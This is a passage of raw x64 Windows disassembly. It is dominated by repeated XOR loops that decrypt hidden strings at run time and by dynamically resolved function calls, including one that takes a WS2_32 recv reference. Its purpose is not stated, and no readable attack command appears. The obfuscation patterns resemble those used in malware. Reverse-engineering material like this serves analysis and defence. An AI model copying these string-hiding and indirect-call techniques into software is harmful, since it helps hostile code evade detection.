punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140033840
cmp r8d, 0x5c
jge 0x140033990
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140033960
cmp byte [rbp + 0x97], 0
jne 0x140033af0
cmp edi, 2
jl 0x140033aaa
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140033af0
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140033ac0
call fcn.14003d060
mov rsi, rax
movzx ecx, word [0x1408d0cfc]
mov word [rbp + 0x80], cx
cmp byte [0x1408d0cfd], 0
je 0x140033b1d
mov byte [rbp + 0x80], Ordinal_50
xor byte [rbp + 0x81], 0x34
lea rcx, [rbp + 0x80]
call fcn.140132c5c
mov ecx, eax
call rsi
xor edx, edx
mov r8d, 0xc0
lea rcx, [rbp + 0x1f0]
call fcn.140153440
movabs r14, 0x6a80d457b7753c9d
mov qword [rbp + 0x2b0], r14
movabs rsi, 0x3374e4025e5f56e6
mov qword [rbp + 0x2b8], rsi
movabs rax, 0x6a80d43bb7143cd3
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rsi
movdqa xmm0, xmmword [rbp + 0x2b0]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x2b0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rbx
mov qword [rbp + 0x198], rbx
lea rax, [rbp + 0x2b0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140033bc0
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x180]
call fcn.140011070
nop
lea rdx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rdx, qword [rbp + 0x160]
mov r8, qword [rbp + 0x170]
add r8, rdx
lea rdx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rdx, qword [rbp + 0x160]
lea rcx, [rbp + 0x2d0]
call fcn.14001b000
nop
lea rcx, [rbp + 0x1f0]
mov qword [rbp + 0x1f8], rcx
mov qword [rbp + 0x200], rbx
mov rdx, rax
lea rcx, [rbp + 0x208]
call fcn.14001e950
nop
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x228]
call fcn.14001e950
nop
mov qword [rbp + 0x2b0], r14
mov qword [rbp + 0x2b8], rsi
movabs rcx, 0x7e2ea3ed8b91ad6f
mov qword [rbp + 0x2c0], rcx
movabs rdx, 0x688749d00d316988
mov qword [rbp + 0x2c8], rdx
movabs rax, 0x6af6d432b7313cc1
mov qword [rbp + 0x130], rax
movabs rax, 0x3328e4675e3c568f
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x140], rcx
mov qword [rbp + 0x148], rdx
movups xmm0, xmmword [rbp + 0x130]
movups xmm1, xmmword [rbp + 0x140]
xorps xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rsp + 0x40], xmm0
xorps xmm1, xmmword [rbp + 0x2c0]
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x40]
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [rax + rcx*2], 0
jne 0x140033cf1
movabs rax, 0x7ffffffffffffffe
mov rdx, qword [rbp + 0x190]
sub rax, rdx
cmp rax, rcx
jb 0x140036218
lea rax, [rbp + 0x180]
cmp qword [rbp + 0x198], 7
cmova rax, qword [rbp + 0x180]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x40]
lea rcx, [rbp + 0x248]
call fcn.14001bf90
mov word [rbp + 0x268], 0
mov qword [rbp + 0x270], rbx
mov qword [rbp + 0x278], rbx
mov qword [rbp + 0x280], rbx
mov qword [rbp + 0x288], rbx
mov qword [rbp + 0x290], rbx
mov qword [rbp + 0x298], rbx
xor eax, eax
mov qword [rbp + 0x2a0], rax
mov dword [rbp + 0x2a8], eax
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 7
jbe 0x140033dd7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033dd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003621e
call fcn.140117d3c
movdqa xmm0, xmmword [0x1408d3b60]
movdqu xmmword [rbp + 0x2e0], xmm0
mov word [rbp + 0x2d0], bx
mov rdx, qword [rbp + 0x198]
cmp rdx, 7
jbe 0x140033e34
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033e2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036224
call fcn.140117d3c
lea rcx, [rbp + 0x1f0]
call fcn.14004ff60
test al, al
jne 0x140034591
mov rcx, qword [rbp + 0x200]
test rcx, rcx
je 0x140033e63
jle 0x140033e5c
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0x200], rbx
lea rcx, [rbp + 0x1f0]
call fcn.140050470
lea rcx, [rbp + 0x1f0]
call fcn.140050130
test al, al
je 0x140033e8b
lea rcx, [rbp + 0x1f0]
call fcn.14004ff60
test al, al
jne 0x140034591
mov byte [0x140919288], 1
call fcn.140041a80
lea rcx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rcx, qword [rbp + 0x160]
call rax
movups xmm0, xmmword [0x1408d0fa0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408d0fb0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1408d0fc0]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1408d0fd0]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1408d0fe0]
movups xmmword [rbp + 0x110], xmm0
movsd xmm0, qword [0x1408d0ff0]
movsd qword [rbp + 0x120], xmm0
mov eax, dword [0x1408d0ff8]
mov dword [rbp + 0x128], eax
mov rax, qword [str._U_RUWA:_U_RUWA]
mov qword [rbp + 0x90], rax
call fcn.1400402a0
mov r10, rax
cmp byte [rbp + 0x97], 0
je 0x140034090
cmp edi, 2
jl 0x14003404a
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140034090
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140034060
cmp byte [rbp + 0x12b], 0
je 0x140034230
mov r8d, ebx
cmp edi, 2
jl 0x1400341e5
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400340e0
cmp r8d, 0x5c
jge 0x140034230
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140034200
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x12b], 0
jne 0x1400343f0
mov r8d, ebx
cmp edi, 2
jl 0x1400343a5
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400342a0
cmp r8d, 0x5c
jge 0x1400343f0
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x1400343c0
cmp byte [rbp + 0x97], 0
jne 0x140034550
cmp edi, 2
jl 0x14003450a
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140034550
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140034520
call fcn.14003d060
mov rsi, rax
movzx ecx, word [0x1408d0cfc]
mov word [rbp + 0x80], cx
cmp byte [0x1408d0cfd], 0
je 0x140034581
mov byte [rbp + 0x80], Ordinal_50
xor byte [rbp + 0x81], 0x34
lea rcx, [rbp + 0x80]
call fcn.140132c5c
mov ecx, eax
call rsi
lea rcx, [rbp + 0x1f0]
call fcn.14004ee40
test al, al
je 0x1400345b9
lea rcx, [rbp + 0x1f0]
call fcn.14004f750
test al, al
jne 0x140034ce1
mov byte [0x140919288], 1
call fcn.140041a80
lea rcx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rcx, qword [rbp + 0x160]
call rax
mov rcx, qword [rbp + 0x200]
test rcx, rcx
je 0x140034601
jle 0x1400345fa
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0x200], rbx
lea rcx, [rbp + 0x1f0]
call fcn.140050470
movups xmm0, xmmword [0x1408d1ab0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408d1ac0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1408d1ad0]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1408d1ae0]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1408d1af0]
movups xmmword [rbp + 0x110], xmm0
movsd xmm0, qword [0x1408d1b00]
movsd qword [rbp + 0x120], xmm0
mov eax, dword [0x1408d1b08]
mov dword [rbp + 0x128], eax
mov rax, qword [str._U_RUWA:_U_RUWA]
mov qword [rbp + 0x90], rax
call fcn.1400402a0
mov r10, rax
cmp byte [rbp + 0x97], 0
je 0x1400347e0
cmp edi, 2
jl 0x14003479f
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x1400347e0
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400347b0
cmp byte [rbp + 0x12b], 0
je 0x140034980
mov r8d, ebx
cmp edi, 2
jl 0x140034935
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140034830
cmp r8d, 0x5c
jge 0x140034980
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140034950
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x12b], 0
jne 0x140034b40
mov r8d, ebx
cmp edi, 2
jl 0x140034af5
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400349f0
cmp r8d, 0x5c
jge 0x140034b40
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140034b10
cmp byte [rbp + 0x97], 0
jne 0x140034ca0
cmp edi, 2
jl 0x140034c5a
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
